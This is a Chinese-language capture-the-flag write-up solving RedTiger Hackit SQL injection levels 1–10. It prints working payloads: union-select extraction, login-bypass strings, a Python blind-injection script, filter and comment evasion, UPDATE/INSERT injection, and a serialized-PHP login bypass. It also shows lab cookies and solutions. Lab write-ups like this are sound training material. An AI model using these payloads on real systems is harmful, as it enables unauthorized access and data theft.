Redtiger Hackit Writeup

做了hackinglab上面的SQL注入题目之后,我有发现了一个新的SQL注入的练习平台,RedTigers Hackit。这个平台上面的一幕也是相当的不错的。相比hackinglab上面考察的常规的SQL注入类型的,redtiger上面的题目更多的考察的是对于程序逻辑的思考,需要思考后台php代码是如何编写的。如果有一定的网站编写经验或者是网站的渗透经验,那么做这些题目会比较的简单。redtiger也在wechall上面的合作平台,可以通过做redtiger来获取flag然后提交到wechall上面就可以获取积分了。突然发现了wechall有可以玩好久了。

Level 1

题目链接

Welcome to level 1
Lets start with a simple injection.
Target: Get the login for the user Hornoxe
Hint: You really need one? omg -_-
Tablename: level1_users
发现在http://redtiger.labs.overthewire.org/level1.php?cat=1中的cat是一个注入点,那么接下来就是常规的SQL注入顺序了。得到字段长度,得到显示位,然后按照题目的要求得到用户名和密码。那么最后的payload是:

1
http://redtiger.labs.overthewire.org/level1.php?cat=1 Union select 1,2,username,password from level1_users

Level 2

题目链接

A simple loginbypass
Target: Login
Hint: Condition

见到登陆的题目就猜解可以使用万能用户名或者是万能密码。在后台对于登陆的SQL语句的编写一般都是下面这种写法。
select * from users where username='[inputname]' and password='[inputpassword]'
常见的万能用户名:

1
2
3
4
admin' or 1=1%23
admin' or '1'='1
admin' or '1'='1'%23
admin')or('1'='1

常见的万能密码:

1
2
'or 1%23
')or(1

经过尝试,最终的payload是:

1
username=admin&password='or 1%23&login=Login

Level 3

题目链接

Target: Get the password of the user Admin.
Hint: Try to get an error. Tablename: level3_users

这道题目当时没有做出来,是看了别人的writeup之后,才后知后觉的。题目的提示是Try to get an error,那么我们使用usr变为一个数组,然后进行提交。

1
http://redtiger.labs.overthewire.org/level3.php?usr[]=YWJj

然后我们就顺利地得到了一条出错信息了。Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21。关于inc文件,网上查找了一段话。

.inc 文件,顾名思义就是include file,实际上文件的后缀对于文件包含是无所谓,你可以包含一个asp文件,也可以包含txt文。一般我们使用inc作为后缀,是因为这样能体现该文件的作用。

那就说明inc文件可以是任意的文件,我们将inc文件下载下来。查看代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

function encrypt($str)
{
$cryptedstr = "";
for ($i =0; $i < strlen($str); $i++)
{
$temp = ord(substr($str,$i,1)) ^ 192;

while(strlen($temp)<3)
{
$temp = "0".$temp;
}
$cryptedstr .= $temp. "";
}
return base64_encode($cryptedstr);
}

function decrypt ($str)
{
if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
{
$str = base64_decode($str);
if ($str != "" && $str != null && $str != false)
{
$decStr = "";

for ($i=0; $i < strlen($str); $i+=3)
{
$array[$i/3] = substr($str,$i,3);
}

foreach($array as $s)
{
$a = $s^192;
$decStr .= chr($a);
}

return $decStr;
}
return false;
}
return false;
}
?>

这个就是用来对传入的参数的usr进行加密和解密的代码。
既然知道了usr参数的加密和解密算法,那么我们需要做的就是按照常规的SQL注入思路,得到查找字段的长度,得到显示位,然后得到用户名和密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#1 得到字段长度
原始语句:http://localhost/test/getuname.php?usr=Admin' order by 7%23
加密后:http://redtiger.labs.overthewire.org/level3.php
?usr=MTI5MTY0MTczMTY5MTc0MjMxMjI0MTc1MTc4MTY0MTY1MTc4MjI0MTYyMTg1MjI0MjQ4MjI3
#得到字段长度是7

#2 得到显示位
原始语句:http://localhost/test/getuname.php?usr=spoock' union select 1,2,3,4,5,6,7%23
加密后:http://redtiger.labs.overthewire.org/level3.php?
usr=MTc5MTc2MTc1MTc1MTYzMTcxMjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MjQyMjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MjQ2MjM2MjQ3MjI3
#得到显示位是2,6,7,5,4

#3 得到用户名和密码
原始语句:http://localhost/test/getuname.php
?usr=spoock' union select 1,password,3,4,5,6,7 from level3_users where username=0x41646d696e%23
加密后:http://redtiger.labs.overthewire.org/level3.php
?usr=
MTc5MTc2MTc1MTc1MTYzMTcxMjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MjQ2MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjQwMTg0MjQ0MjQxMjQ2MjQ0MjQ2MTY0MjQ2MjQ5MjQ2MTY1MjI3

最终就会得到Admin的密码。
其实这道题目还是考察常规的SQL注入,但是最困难的地方是在于使用usr的数组形式usr[]来进行报错,通过这种报错的方法来得到usr的加密方式,最终来执行自己的payload。看来做这种题目还是需要脑洞大开呀。

Level 4

题目链接

Target: Get the value of the first entry in table level4_secret in column keyword
Disabled: like

这道题目看起来是一个布尔盲注。
关于如何进行布尔盲注,可以参考我自己写的文章,SQL注入入门(三),这篇文章就是专门将如何进行布尔盲注的。那么在这里我就不进行说明了直接给出Python盲注代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def get_data_char(i):
url_template = "http://redtiger.labs.overthewire.org/level4.php?id=2 or ascii(substr((select keyword from level4_secret),{0},1))>{1}"
def exe_get(url):
cookies={
"level2login":"easylevelsareeasy_!",
"level3login":"securitycat_says_meow_and_likes_cheese",
"level4login":"dont_publish_solutions_GRR!"
}
response = requests.get(url,cookies=cookies)
html = response.text
match = re.search('0',html)
# 表示值偏大
if match:
return -1
#表示值偏小
else:
return 1
low,high = 48,126
while low<=high:
mid = (low+high)//2
url = url_template.format(i,mid)
result = exe_get(url)
if result>0:
low = mid+1
else:
high=mid-1
print(low,high,mid)
print(low)
return low

def get_data():
data=""
for i in range(1,18):
char=get_data_char(i)
data += chr(char)
print(data)
get_data()

最终就可以得到payload了

Level 5

题目链接

Target: Bypass the login
Disabled: substring , substr, ( , ), mid
Hints: its not a blind, the password is md5-crypted, watch the login errors

题目已经提示了密码是使用md5加密的,那么又是一个比较简单的登陆的md5加密了。唯一不同的是之前要使用order by得到查询字段的长度,然后将其中的一个替换为md5的值。这道题目也是比较的简单,不做过多的解释。直接给出payload:

1
username=a' union select 1,'c4ca4238a0b923820dcc509a6f75849b'%23&password=1&login=Login

Level 6

题目链接

Welcome to Level 6
Target: Get the first user in table level6_users with status 1

通过在测试:

1
http://redtiger.labs.overthewire.org/level6.php?user=1'

页面报错为Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/hackit/level6.php on line 27 User not found,那么说明在user字段是存在sql注入的。对于id这样的sql注入方式又是常规的sql注入步骤。

1
2
3
#得到查选的字段数
http://redtiger.labs.overthewire.org/level6.php?user=1 order by 5 %23
#得到字段数是5

得到显示位

1
http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,2,3,4,5 %23

此时发现程序并没有如期返回显示为,而是返回User not found。于是我有进行了如下的尝试。

1
http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,2,3,4,5 from level6_users where status=1%23

页面显示的结果仍然是User not found。这个时候我就比较的郁闷了,理论上应该是有结果的。于是我将其中的1,2,3,4,5修改为username。当我将其中的第二个字段修改为username的时候,页面就可以正常显示了。
但是我试着将其他的字段修改为password,但是我发现无论是将password放在那个显示位,程序都没有发生变化。
那么此时我猜想后台可能是进行了2次SQL语句的查询。以下就是我猜想后台的PHp代码。

1
2
3
4
5
6
$sql = "select username,password from level6_users where id=1";
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
#从结果中取出username字段
$username = $row1[1];
$sql2 = "select username,email from level6_users where username="."'".$username."'";

那么我们只需要将username字段进行注入就可以了。我们写的payload为

1
http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,admin1' union select 1,2,3,password,5 from level6_users where status=1#,3,4,5%23

但是页面最后返回的结果是Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/hackit/level6.php on line 27 User not found,那么可能就是因为在username中存在admin1'....这样的语句被后台过滤了,那么尝试使用十六进制来进行绕过。

1
http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,0x61646d696e312720756e696f6e2073656c65637420312c322c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5%23

页面显示的结果如下

这样就知道了admin的密码是m0nsterk1ll

Level 7

题目链接

Target: Get the name of the user who posted the news about google. Table: level7_news column: autor
Restrictions: no comments, no substr, no substring, no ascii, no mid, no like

这道题目已经明确地说明了后台程序已经屏蔽了注释、substr()函数,substring()、ascii()函数,mid()函数,like关键字。那么注入过程中这些都是无法使用的。
这道题目表面上看就是一个正常搜索新闻的例子,当我们输入在搜索框中输入内容之后,页面上就会正常的显示搜索的内容。当我输入的文本包含了'的时候,情况就会发生变化。
页面返回的内容是:

页面返回错误,那就说明search关键字存在SQL注入了,同时是一个字符型的注入。通过SQL语句的报错信息,我们还知道后台的SQL语句的写法是:

1
select new.*,text.text,text.title from level7_news news,level7_texts text where text.id=news.id and(text.text like'%searchinput%' or text.title.like '%searchinput%')

这样的SQL语句看起来后台只有使用union子句才能够最终得到目的,那么必须使用注释了。我就尝试使用#,%23的时候:

1
2
search=1'%)#&dosearch=search%21
search=1'%)%23&dosearch=search%21

发现都被过滤了。页面显示的内容都是Some things are disabled!
接下来我用尝试使用–+的方法看是否能够绕过。当我输入的是%2d%2d%2b或者是--+的时候:

1
2
search=1'%)%2d%2d%2b&dosearch=search%21
search=1'%)--+&dosearch=search%21

页面显示的如下内容

而当我输入的是--%20的时候,页面返回的是Some things are disabled!,那说明后台在过滤--+的时候可能存在问题。这个时候只要能够使用--的注释符那么就可以绕过后台的注释符的过滤了。
接下来我使用了%a0来代替后面的空格,那么此时我的输入变为:

1
search=1%')--%a0&dosearch=search%21

页面正常返回内容,那么我就可以使用**--%a0注释后面的内容了。接下来又是常规的思路了,首先得到字段长度,然后得到显示位。

获取字段长度

获取字段长度一般都是使用order by子句来完成的。

1
search=1%') order by 1--%a0&dosearch=search%21

但是当我使用orde by 1的时候,页面显示的是Some things are disabled!!。这个时候有可能是order by被屏蔽了。
接下来我有尝试使用大小写混淆,加入特殊的空格来进行绕过。尝试如下:

1
2
3
4
5
6
search=1%')%0aorder%0aby%0a1--%a0&dosearch=search%21		
search=1%')%0border%0bby%0b1--%a0&dosearch=search%21
search=1%')%0corder%0cby%0c1--%a0&dosearch=search%21
search=1%')%0dorder%0dby%0d1--%a0&dosearch=search%21
search=1%')/**/order/**/by/**/1--%a0&dosearch=search%21
search=1%')/**/oRdEr/**/bY/**/1--%a0&dosearch=search%21

发现所有的尝试都被会过滤和拦截,都没有效果。

获取显示位

虽然无法通过order by来获取字段长度,我们还可以使用union子句来获取字段长度,同时还能够获取显示位。此时就是看后台后没有过滤union子句。尝试如下:

1
search=1%') union select 1--%a0&dosearch=search%21

页面显示的内容是:

那就说明后台没有过滤union子句,那么也就意味着我们可以使用union子句来得到显示位了。
最终,我得到字段长度是4,显示位是3,4

获取autor内容

在知道了显示位之后,接下来就是需要获取autor的内容了。接下来我们使用如下的语句:

1
search=10000%')union select 1,2,autor,4 from level7_news--%a0&dosearch=search%21

得到了在level7_news中存在的所有的用户名,site_admin、press、TestUserforg00gle、apple

提交答案

根据题目的要求,我猜解TestUserforg00gle就是最终的答案。提交之后,果然是的。

Level 8

题目链接

Target: Get the password of the admin.

通过添加引号进行测试,我发现只有在email=hans%40localhost出添加引号,程序就会报错,在其他的位置加入引号程序都是可以正常地执行的。那么就说明在email=hans%40localhost处存在SQL注入。页面上显示的报错信息为You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '12345', age = '25' WHERE id = 1' at line 3。根据页面上显示的内容以及报错信息,那么我们猜测这是一个update的语句,后台的SQL语句的写法是:

1
update table set name='[inputname]',email='[inputemail]',icq='[inputicq]',age='[inputage]' where id=1

那么如何在update语句中获取我们所想要的信息呢?这个时候就需要利用到在mysql中的update的一个用法了。
如果在update中的语句,我们的写法如下。(我们假设在users表中存在id,username,email,password这4个字段)

1
update users where username=email,password='123456' where username='admin';

那么上面的这sql语句的执行效果就是将username为’admin’的记录修改为username为此记录的email,密码修改为123456。其实在mysql中,如果update语句中有fieldname1=fieldname2这样的语句就会将当前记录的fieldname2的值赋值到fieldname1上面。
知道了上面这个特性之后,那么我们的payload也很高的构造了。

1
email=hans%40localhost',name=password,icq='&name=Hans&icq=12345&age=25&edit=Edit

Level 9

题目链接

Welcome to Level 9
Target: Get username and password of any user. Tablename: level9_users
Its not a blind. There is a way to get an output :)
payload:

这道题目根据题目的提示一个insert语句。当点击提交查选按钮之后,就会将autor,title和text提交到后台。
测试发现,当给text添加引号时,页面就会报错。测试的payload如下:

1
autor=aa&title=bb&text=cc'&post=%CC%E1%BD%BB%B2%E9%D1%AF

页面上出现的报错信息为You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''cc'')' at line 6Autor: RedTiger。那么我们猜测后台的SQL语句的写法为:

1
insert into tablename(autor,title,text) values('[inputautor]','[inputtitle]','[inputtext]')。

那么我们就可以构造如下的payload:

1
autor=aaa&title=bbb&text=123'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'456&post=%CC%E1%BD%BB%B2%E9%D1%AF

Level 10

题目链接

Target: Bypass the login. Login as TheMaster

点击页面上的提交按钮,得到提交的数据:

1
login=YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9&dologin=Login

将login的值进行base64decode之后得到a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}。这个起初我也不知道是什么,后来看了别人的writeup之后,才知道是php的序列化之后的字符串的显示。将这段字符串使用反序列化之后得到的值为:

1
2
3
4
$myarray = array(
"username"=>"Monkey",
"password"=>"0815password",
);

而题目的要求是需要使用用户名为TheMaster进行登陆。尝试将password的值修改为数字123,那么序列化的内容变为a:2:{s:8:"username";s:4:"Dumb";s:8:"password";i:123;},然后进行base64encode之后,发现登陆失败。
那么我猜测后台的php的代码的写法为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$new = unserialize($_GET["login"]);
$username = "'".$new["username"]."'";
$password = "'".$new["password"]."'";

$username = $new["username"];
$password = $new["password"];
$sql = "select username,password from users where username=$username and password=$password";
$result = mysql_query($sql);
if($result) {
$row = mysql_fetch_row($result);
echo $row["username"];
} else {
echo "error";
}

假设是上面的这个SQL语句,那么其实只需要result存在即可。这个时候方法就有很多了。例如我们只需要将password的属性修改为boolean类型的true,那么就可以绕过检查了。所以payload的形式为:a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}
最后将这个字符串进行base64编码,YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=。得到就是最终的payload。

总结

相对来说这个比hackinglab上面的SQL注入的题目类型以及考察的知识点要更加的丰富。做了这个上面的题目,我才发现其实SQL注入考察不仅仅是常见的注入类型的考察,有时候你还需要去猜测后台的php的代码的编写,后台的逻辑代码的编写,只有这样才有可能会做对这些题目。总之,还是收获了很多,还需要学习的内容也有很多。